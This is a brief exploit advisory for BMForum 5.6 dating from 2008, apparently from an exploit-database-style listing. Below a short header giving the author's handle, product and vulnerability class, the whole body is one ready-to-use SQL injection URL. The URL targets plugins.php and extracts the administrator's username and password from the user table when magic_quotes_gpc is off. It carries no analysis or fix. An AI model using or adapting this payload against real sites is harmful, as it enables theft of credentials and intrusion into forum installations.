Author: ~!Dok_tOR!~
Date found: 30.09.08
Product: BMForum
Version: 5.6
URL: www.bmforum.com
Vulnerability Class: SQL Injection
Condition: magic_quotes_gpc = Off

Exploit:

http://localhost/[installdir]/plugins.php?p=tags&forumid=0&tagname=-1'+union+select+1,concat_ws(0x3a,username,pwd),3,4+from+bmb_userlist+where+userid=1/*